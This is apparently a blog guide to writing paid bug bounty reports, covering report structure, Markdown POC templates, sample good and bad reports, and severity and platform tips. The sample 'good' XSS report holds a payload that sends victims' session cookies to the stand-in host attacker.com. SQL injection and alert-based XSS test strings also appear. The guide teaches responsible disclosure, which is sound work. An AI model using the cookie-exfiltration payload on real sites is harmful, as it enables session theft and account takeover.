By HOC Team | Last updated: September 02, 2026 | Read time: ~28 min

How to Write a Bug Bounty Report That Gets Paid (2026)

Two hunters find the same IDOR vulnerability on a major fintech program. Hunter A submits a 3-sentence report: "Found IDOR on /api/users/{id}. Can see other users' data."

Hunter B submits a structured report with a working POC, screenshots showing account takeover impact, a CVSS score of 8.1, and a business impact statement explaining how an attacker could drain customer accounts.

Hunter A gets $250 and an "Informative" resolution. Hunter B gets $7,500 and a "Triaged" status within 4 hours.

Same bug. Same target. Wildly different outcomes.

The difference is not technical skill — it is report writing. In bug bounty, your report is your resume, your sales pitch, and your invoice. Triage teams at HackerOne, Bugcrowd, and Intigriti process hundreds of reports per week.

Also read : Bug Bounty Hunting for Beginners: How to Find Your First Vulnerability

The ones that get paid quickly (and at the highest bounty) are the ones that are clear, reproducible, and demonstrate undeniable business impact.

This guide teaches you how to write bug bounty reports that get accepted, paid, and paid well. It includes the exact structure top hunters use, ready-to-copy POC templates in Markdown, real examples of good vs bad reports, impact statements that maximize payouts, and platform-specific tips for HackerOne, Bugcrowd, Intigriti, and YesWeHack.

Bug Bounty Reporting in 2026

Average time to first response: 2-5 days (HackerOne), 3-7 days (Bugcrowd)
Average time to bounty payout: 14-30 days
Report acceptance rate: ~25-35% of submissions result in a bounty
#1 rejection reason: "Cannot reproduce" or "Insufficient POC"
#2 rejection reason: "Duplicate" (the bane of every hunter)
#3 rejection reason: "Out of scope" or "Intended behavior"
Top bounty range (Critical): $5,000 - $50,000+ (top programs)
Report length that gets paid: 300-800 words + 3-8 screenshots
POC reproduction time target: Under 10 minutes for triage

Table of Contents

Why report quality determines your payout
What triage teams look for in a report
The winning bug bounty report structure
POC writing guide — the heart of your report
POC templates (Markdown for HackerOne/Bugcrowd)
Real examples — good vs bad reports
Impact statements that maximize your bounty
Severity rating — how to justify your ask
Common rejection reasons and how to avoid them
Communication etiquette with triage teams
Platform-specific tips
First actions — write better reports today
Frequently asked questions

1. Why report quality determines your payout

Most new hunters think the vulnerability itself determines the bounty. In reality, how you present the vulnerability is equally important. Here's why:

Triage engineers are overwhelmed. They handle 50-100 reports per week. A clear, well-structured report gets triaged in minutes. A confusing one gets pushed to the bottom of the queue — or rejected outright.
Bounty amounts are subjective. Most programs give triage teams discretion within a range. A report that clearly demonstrates $100,000 in potential damage gets the top of the range. A vague report gets the minimum.
Signal-to-noise ratio matters. Programs track your signal (accepted reports) vs noise (invalid/duplicate reports). High-quality reports boost your signal, which unlocks private programs and higher bounty tiers.
Impact chaining increases payouts. A well-written report that chains multiple low-severity bugs into a critical attack path can turn a $500 bug into a $10,000 payout.

The Hard Truth: A brilliant vulnerability with a terrible report is worth less than a medium-severity bug with an excellent report. Triage teams cannot reward what they cannot understand. Your report is the product — the vulnerability is just the raw material.

2. What triage teams look for in a report

Understanding what triage engineers need will transform how you write reports. Here is the mental checklist they run through in the first 60 seconds of reading your report:

Question Triage Asks	What They Look For	Your Job
Is this in scope?	Target URL/domain matches the program policy	Confirm scope in the first line
Is this a duplicate?	Unique vulnerability or attack path	Highlight what makes yours unique
Can I reproduce it?	Clear, numbered steps with exact payloads	Write steps a junior engineer can follow
Is this actually a security issue?	Real-world impact, not theoretical	Demonstrate concrete business impact
How severe is it?	CVSS score + business context	Justify severity with attack scenario
Is the hunter legit?	Professional tone, no typos, no begging	Write like a security consultant, not a beggar

The 60-Second Rule: If a triage engineer cannot answer all six questions above within 60 seconds of opening your report, your report is too long, too vague, or missing critical information. Structure your report to make these answers obvious.

3. The winning bug bounty report structure

Top hunters use a consistent structure for every report. This is not optional — it is what separates $10,000 reports from $100 reports.

Section	Purpose	Length
Title	Specific, descriptive, includes vulnerability type and impact	1 line (10-15 words)
Summary	2-3 sentence overview of the bug and its impact	50-80 words
Severity	CVSS score + your recommended rating (Critical/High/Medium/Low)	1 line
Vulnerability Type	CWE ID or common name (e.g., CWE-89: SQL Injection)	1 line
Affected Endpoint	Exact URL, parameter, or asset	1-2 lines
Steps to Reproduce	Numbered, exact steps with payloads	5-15 steps
Proof of Concept	Screenshots, HTTP requests, video, or script	3-8 screenshots
Impact	Business impact in non-technical terms	100-200 words
Remediation (Optional)	Brief suggestion for fixing the bug	2-4 lines
Supporting Materials	Raw HTTP requests, PoC scripts, video links	As needed

4. POC writing guide — the heart of your report

The Proof of Concept is the single most important part of your report. Without a working POC, your report is just a claim. With a working POC, it is undeniable evidence.

The 5 Elements of a Perfect POC

Reproducible: A triage engineer with no context should be able to reproduce the bug in under 10 minutes
Self-contained: All information needed is in the report — no "ask me for the credentials" or "you need to be on the internal network"
Safe: Demonstrate impact without causing real damage. Use your own test accounts, redacted data, and non-destructive payloads
Visual: Screenshots with annotations showing the vulnerable state and the exploitation result
Minimal: Show only what is necessary. Don't dump 50 screenshots when 3 will do

POC Mistakes That Get Reports Rejected

Theoretical POC: "An attacker could potentially..." — No. Show it. Do it. Screenshot it.
Self-XSS: XSS that only works when the victim pastes the payload themselves — not a valid bug
No impact demonstration: You found the bug but didn't show what an attacker can actually do with it
Broken reproduction steps: Steps that work on your machine but not on triage's machine (missing cookies, wrong environment)
Destructive POC: Actually deleting data, crashing systems, or exfiltrating real customer data — this can get you banned

Safe POC Practices

Create your own test accounts to demonstrate account takeover
Use alert(document.domain) for XSS, not stealing cookies
For IDOR, show access to YOUR OWN secondary account's data, not real users
For SQL injection, use ' OR 1=1-- and show the error/different response — don't dump tables
For SSRF, request your own Burp Collaborator or webhook.site endpoint
Redact any real user data you accidentally encounter

5. POC templates (Markdown for HackerOne/Bugcrowd)

Copy these templates directly into your HackerOne or Bugcrowd report. They are formatted in Markdown, which both platforms render beautifully.

Template 1: Web Application Vulnerability (XSS, SQLi, IDOR, SSRF)

## Summary A [vulnerability type] vulnerability exists on [exact URL] that allows an attacker to [what they can do]. This could lead to [business impact].
## Severity CVSS v3.1: [score] ([rating]) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
## Vulnerability Type CWE: [CWE-ID]: [Name]
## Affected Endpoint https://target.com/path?parameter=value
## Steps to Reproduce 1. Navigate to https://target.com/login 2. Log in with a test account (credentials: test@test.com / Password123!) 3. Go to https://target.com/profile 4. Open Burp Suite and intercept the request 5. Modify the user_id parameter from 1234 to 5678 6. Forward the request 7. Observe that the response contains data belonging to user 5678
## Proof of Concept Request: GET /api/users/5678 HTTP/1.1 Host: target.com Authorization: Bearer [your-token] Cookie: session=[your-session] Response: HTTP/1.1 200 OK { "id": 5678, "name": "Victim User", "email": "victim@example.com", "ssn": "[REDACTED]" } [Attach screenshot showing the vulnerable request and response]
## Impact An unauthenticated attacker can access any user's personal information by iterating through user IDs. This includes [list sensitive data]. With 50,000 users on the platform, this could lead to a mass data breach affecting all customers, resulting in regulatory fines under GDPR/CCPA and significant reputational damage.
## Remediation Implement proper authorization checks on the server side to verify that the authenticated user has permission to access the requested resource. Do not rely on client-side controls.
## Supporting Materials - Raw HTTP request: [attached] - Video demonstration: [link]

Template 2: Authentication / Account Takeover

## Summary An account takeover vulnerability exists in the password reset flow at [URL] due to [root cause]. An attacker can take over any user account by [attack method].
## Severity CVSS v3.1: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
## Steps to Reproduce 1. Create two test accounts: attacker@test.com and victim@test.com 2. Initiate password reset for victim@test.com 3. Intercept the password reset request in Burp Suite 4. Note the reset token: abc123... 5. Log out and log in as attacker@test.com 6. Use the victim's reset token with the attacker's session 7. Set a new password for the victim's account 8. Log in as the victim with the new password — full account access confirmed
## Proof of Concept [Attach screenshots showing each step] [Attach video demonstrating the full attack flow]
## Impact Any attacker can take over any user account on the platform, including administrator accounts. This grants full access to [list sensitive data and actions]. For a platform with [X] users, this represents a critical risk of mass account compromise, financial fraud, and regulatory violation.
## Supporting Materials - PoC script (Python): [attached] - Burp request/response logs: [attached]

Template 3: API / Mobile Vulnerability

## Summary The mobile app ([App Name] v[version]) for [platform] contains a [vulnerability] that allows [impact].
## Environment App Version: [version] Platform: [iOS/Android] Device: [model] OS Version: [version] Tools Used: [MobSF, Burp Suite, Frida, etc.]
## Steps to Reproduce 1. Install the app from [App Store/Play Store] 2. Set up a proxy (Burp Suite) on the device 3. Log in with test account 4. Navigate to [feature] 5. Intercept the API request to [endpoint] 6. Modify [parameter] to [payload] 7. Observe [vulnerable behavior]
## Proof of Concept [Attach screenshots from the mobile app] [Attach decompiled code snippets if relevant] [Attach HTTP request/response]
## Impact [Business impact in non-technical terms]
## Remediation [Specific fix recommendation]

6. Real examples — good vs bad reports

Let's look at two reports for the same vulnerability — a reflected XSS on a search page. Notice how dramatically different the outcomes are.

BAD Report — Gets "Informative" or Rejected

// Title: XSS found // Description: Hi, I found an XSS vulnerability on your website. When I search for something, I can inject JavaScript. Please fix this. Thanks. // Steps: 1. Go to your website 2. Search for something 3. XSS happens // Impact: Attackers can steal cookies. // That's it. No screenshots. No payloads. No URL. Nothing.

Why this fails: No specific URL, no actual payload, no screenshots, no demonstration of impact, no CVSS score. Triage cannot reproduce this. It will be closed as "Informative" or "Not Applicable."

GOOD Report — Gets $3,000+ Bounty

// Title: Reflected XSS in Search Parameter Leads to // Admin Session Hijacking on target.com // Summary: A reflected XSS vulnerability exists in the search parameter at https://target.com/search?q= that allows an attacker to execute arbitrary JavaScript in the context of a victim's session. By crafting a malicious search link, an attacker can steal session cookies and take over any user account, including administrators. // Severity: CVSS v3.1: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N // Vulnerability Type: CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) // Affected Endpoint: https://target.com/search?q=[payload] // Steps to Reproduce: 1. Navigate to https://target.com/search 2. Enter the following payload in the search box: "><img src=x onerror=alert(document.domain)> 3. Submit the search 4. Observe that a JavaScript alert pops up showing "target.com" — confirming XSS execution 5. To demonstrate impact, use this payload to steal cookies: "><script>new Image().src="https://attacker.com/?c=" +document.cookie</script> 6. Visit the malicious URL while logged in as a victim 7. Check the attacker's server logs — the victim's session cookie is exfiltrated // Proof of Concept: [Screenshot 1: The search page with the payload in the URL bar] [Screenshot 2: The JavaScript alert showing document.domain] [Screenshot 3: The attacker's server receiving the stolen cookie] [Video: 45-second demonstration of the full attack] // Impact: An attacker can craft a malicious link and send it to any target.com user via email, social media, or chat. When the victim clicks the link while logged in, their session cookie is sent to the attacker's server. The attacker can then import this cookie into their browser and take over the victim's account — accessing personal data, payment information, and (for admin users) the ability to modify any user account or access internal systems. For a platform with 100,000 users, this represents a critical phishing vector that could lead to mass account takeover, financial fraud, and regulatory violation under GDPR/CCPA. // Remediation: Implement context-aware output encoding on the search results page. Use a modern templating engine that automatically escapes user input. Consider implementing a Content Security Policy (CSP) as defense-in-depth. // References: - OWASP XSS Prevention: https://cheatsheetseries.owasp.org/ - CWE-79: https://cwe.mitre.org/data/definitions/79.html

Why this succeeds: Specific title, clear summary, exact payload, numbered steps, screenshots proving each stage, business impact in non-technical terms, CVSS score, remediation suggestion. Triage can reproduce this in 5 minutes and immediately understand the severity.

The Golden Rule: If you had to explain your report to a triage engineer over a 10-minute call, would they understand it? If not, rewrite it until they would.

7. Impact statements that maximize your bounty

The impact statement is where you translate technical findings into business risk. This is what determines whether you get $500 or $5,000 for the same bug.

Impact Framework — The 4 Questions

Every impact statement should answer these four questions:

Who is affected? (Users, admins, the company, third parties)
What can the attacker do? (Read data, modify data, take over accounts, execute code)
What is the business consequence? (Data breach, financial loss, regulatory fine, reputational damage)
How many people/systems are at risk? (Scale of impact)

BAD Impact Statement

// ❌ Vague, technical, no business context "An attacker can execute JavaScript on the page."

GOOD Impact Statement

// Specific, business-focused, demonstrates scale "An attacker can craft a malicious link that, when clicked by a logged-in user, executes JavaScript in the context of their session. This allows the attacker to: 1. Steal session cookies and take over any user account (including administrators) 2. Perform actions on behalf of the victim (transfer funds, modify account settings, access personal data) 3. Deploy persistent malware via DOM manipulation Given the platform has 250,000 active users and processes $50M in monthly transactions, successful exploitation could lead to mass account takeover, direct financial fraud, and regulatory fines under PSD2 and GDPR (up to 4% of annual turnover).
The attack requires no authentication and can be delivered via any channel (email, SMS, social media)."

Impact Multipliers — How to Increase Your Bounty

Multiplier	Example	Bounty Impact
Chain multiple bugs	IDOR + privilege escalation = account takeover	2-5x increase
Affect admin/critical systems	Bug on admin panel vs user panel	3-10x increase
Demonstrate real-world attack	Full phishing scenario with video	2-3x increase
Regulatory implications	PII exposure, PCI data, healthcare data	2-5x increase
Scale of impact	Affects all users vs single user	2-10x increase
First-time discovery	New vulnerability class on the platform	Bonus (varies)

8. Severity rating — how to justify your ask

Your severity rating directly influences the bounty amount. Overrating gets you pushed back. Underrating leaves money on the table. Here is how to get it right.

Bug Bounty Severity Guide

Severity	CVSS Range	Typical Bugs	Typical Bounty
CRITICAL	9.0 - 10.0	RCE, SQLi with full DB access, auth bypass, account takeover at scale	$5,000 - $50,000+
HIGH	7.0 - 8.9	Stored XSS, IDOR with sensitive data, SSRF to internal services, privilege escalation	$1,500 - $10,000
MEDIUM	4.0 - 6.9	Reflected XSS, CSRF with impact, information disclosure, subdomain takeover	$500 - $3,000
LOW	0.1 - 3.9	Minor information leaks, missing security headers, verbose errors	$100 - $750

Severity Tip: Always check the program's specific bounty table on HackerOne/Bugcrowd. Some programs have fixed amounts per severity, while others give triage discretion. When in doubt, rate slightly higher than you think — triage will adjust down if needed, but you will never get adjusted up.

9. Common rejection reasons and how to avoid them

Rejection Reason	Why It Happens	How to Avoid
"Cannot Reproduce"	Steps are unclear, missing payloads, or require specific conditions you didn't document	Have a friend reproduce your bug following only your report. If they can't, rewrite it.
"Duplicate"	Someone else reported it first	Submit quickly. Focus on unique attack chains. Target less popular programs.
"Out of Scope"	Target not in the program's policy	Read the program policy carefully. Check the scope tab before testing.
"Intended Behavior"	The "vulnerability" is actually how the app is designed to work	Verify the behavior is actually unintended. Check documentation.
"Informative"	Real issue but no security impact or too low severity for bounty	Demonstrate clear impact. Chain with other bugs to increase severity.
"Not Applicable"	Self-XSS, theoretical bugs, no real-world exploitation path	Only report bugs you can actually exploit. Show real impact.
"Spam / Low Quality"	Automated scanner output, no human analysis	Never submit raw scanner output. Validate every finding manually.
"Insufficient Proof"	Claim without evidence	Always include screenshots, HTTP requests, and a working POC.

10. Communication etiquette with triage teams

How you communicate after submission matters as much as the report itself. Triage teams are humans — treat them with respect.

Do

Respond to triage questions within 24-48 hours
Provide additional information when asked (don't make them chase you)
Be professional, even if you disagree with the resolution
Ask politely for clarification if you don't understand a rejection
Thank the triage team for their time
If you believe a duplicate is different, explain specifically why (not just "mine is different")

Don't

Demand a higher bounty ("This is worth $10,000, not $2,000!")
Threaten to disclose publicly if not paid quickly
Submit the same report multiple times
Argue aggressively about duplicates
Ghost the triage team for weeks when they ask questions
Use all caps, emojis, or unprofessional language
Publicly complain about a program on Twitter/Reddit

💬 Sample Professional Responses

// When triage asks for more info: "Thanks for the quick response! I've attached the additional screenshots you requested. The vulnerability can also be reproduced using the PoC script I've included. Let me know if you need anything else." // When you disagree with a duplicate: "Thank you for reviewing. I understand this may overlap with an existing report, but I believe my submission demonstrates a different attack path. Specifically, the original report covers [X], while mine demonstrates [Y], which leads to [additional impact]. I'm happy to provide more details if helpful." // When the bounty seems low: "Thank you for the bounty. I appreciate the team's time in triaging this report. If possible, I'd like to highlight that the impact extends to [additional context that may justify a higher amount], but I understand and respect the team's decision."

11. Platform-specific tips

Each bug bounty platform has its own quirks. Here is what you need to know.

Platform	Key Features	Report Tips
HackerOne	Largest platform, structured report fields, HackerOne Hacktivity (public reports)	Use the structured fields (Weakness, Severity, Assets). Read Hacktivity for accepted reports from the same program to understand what they pay for.
Bugcrowd	VPR (Vulnerability Priority Rating), strong enterprise programs	Use VPR to justify severity. Bugcrowd values business context heavily. Include clear impact statements.
Intigriti	European focus, high-quality programs, responsive triage	Intigriti triage is highly technical. Detailed POCs are appreciated. They often pay bonuses for exceptional reports.
YesWeHack	French/European, strong government and enterprise programs	Reports in English are fine. YesWeHack values thorough documentation. Include CVSS and CWE for every report.

Pro Tip: Read the publicly disclosed reports on HackerOne Hacktivity for programs you're targeting. This shows you exactly what the triage team accepts, how they rate severity, and what level of detail they expect. It is the single best research you can do before submitting.

⚡ Write better reports today — first five actions

Save the POC templates from Section 5.
Copy them into a notes app or Markdown editor. Use them as the starting point for every report. Consistency in structure will cut your report writing time in half and ensure you never miss critical sections.
Rewrite your last rejected or underpaid report.
Take a report that was closed as "Informative" or paid less than expected. Rewrite it using the template, adding proper impact statements, CVSS scores, and better screenshots. Submit it as a learning exercise — you will see the difference immediately.
Study 5 accepted reports on HackerOne Hacktivity.
Pick a program you want to target. Read 5 recently disclosed reports that were paid well. Notice the structure, the level of detail, the impact statements. Model your next report after these examples.
Set up a screenshot workflow.
Use Flameshot (Linux) or ShareX (Windows) with auto-save to a dated folder. Configure your browser to capture full-page screenshots. Every report should have 3-8 high-quality screenshots that tell a visual story.
Practice writing impact statements.
Take 3 vulnerabilities you've found and write a 100-word impact statement for each that a non-technical CEO could understand. If you can't explain the business risk clearly, you can't justify a high bounty.

12. Frequently asked questions

How long should a bug bounty report be?

A high-quality bug bounty report is typically 300-800 words with 3-8 screenshots. It should be concise but complete — long enough that a triage engineer can reproduce the issue in under 10 minutes without asking follow-up questions. Reports that are too short get marked as "Informative" or "Not Applicable" because the impact is unclear. Reports that are too long get skimmed and key details get missed. Aim for the sweet spot: comprehensive but focused.

What makes a bug bounty report get rejected?

The most common rejection reasons are:
(1) No working Proof of Concept,
(2) Missing impact demonstration,
(3) Vague reproduction steps,
(4) Out-of-scope target,
(5) Duplicate of an existing report,
(6) Self-XSS or non-exploitable findings,
(7) Theoretical vulnerabilities without real-world exploitation. Triage teams reject reports they cannot reproduce or that lack clear business impact. The single best way to avoid rejection is to have a friend reproduce your bug using only your report as instructions.

How do I maximize my bug bounty payout?

Maximize payouts by: (1) Demonstrating clear business impact (data breach, account takeover, financial loss),
(2) Providing a complete working POC that triage can reproduce in minutes,
(3) Writing a professional impact statement in business terms,
(4) Justifying severity with CVSS and real-world attack scenarios,
(5) Chaining multiple low-severity bugs into a high-impact attack path,
(6) Targeting high-value assets in the program scope,
(7) Being professional and responsive in communications. Programs often pay bonuses for exceptional reports — make yours exceptional.

What is a POC in bug bounty?

A POC (Proof of Concept) is a working demonstration that proves the vulnerability exists and can be exploited. It typically includes step-by-step reproduction instructions, HTTP requests, payloads, screenshots, and sometimes a video or script. A strong POC is the single most important factor in getting a bug bounty report accepted and paid. Without a POC, your report is just a claim. With a POC, it is undeniable evidence.

Should I disclose the vulnerability before submitting the report?

No. Never disclose the vulnerability publicly or directly to the company before submitting through the official bug bounty platform. This violates responsible disclosure policies and can result in your report being rejected or banned from the program. Always submit through the official channel (HackerOne, Bugcrowd, Intigriti, etc.) and follow the program's disclosure timeline. Most programs have a 90-180 day disclosure policy after the report is resolved.

How do I handle a duplicate bug bounty report?

Duplicates are unavoidable in bug bounty — they happen to every hunter, even the best. If your report is marked as duplicate, you will not receive a bounty. To minimize duplicates:
(1) Submit quickly after discovery,
(2) Focus on unique attack chains rather than common bugs,
(3) Target less popular programs or subdomains,
(4) Provide additional impact or a more severe exploitation path than the original report if you believe yours is different. If you genuinely believe your report is not a duplicate, politely explain the specific differences to triage — but accept their final decision gracefully.

About the author
Written by the HOC Team at Hackers Online Club — a cybersecurity community trusted by bug bounty hunters, penetration testers, and security researchers since 2010. 15+ years of practical cybersecurity guides, bug bounty tutorials, and professional security documentation resources. Our team mostly active on bug bounty programs, across major programs like Google, Microsoft, and Apple. Learn more about HOC →

How to Write Bug Bounty Report That Gets Paid (2026)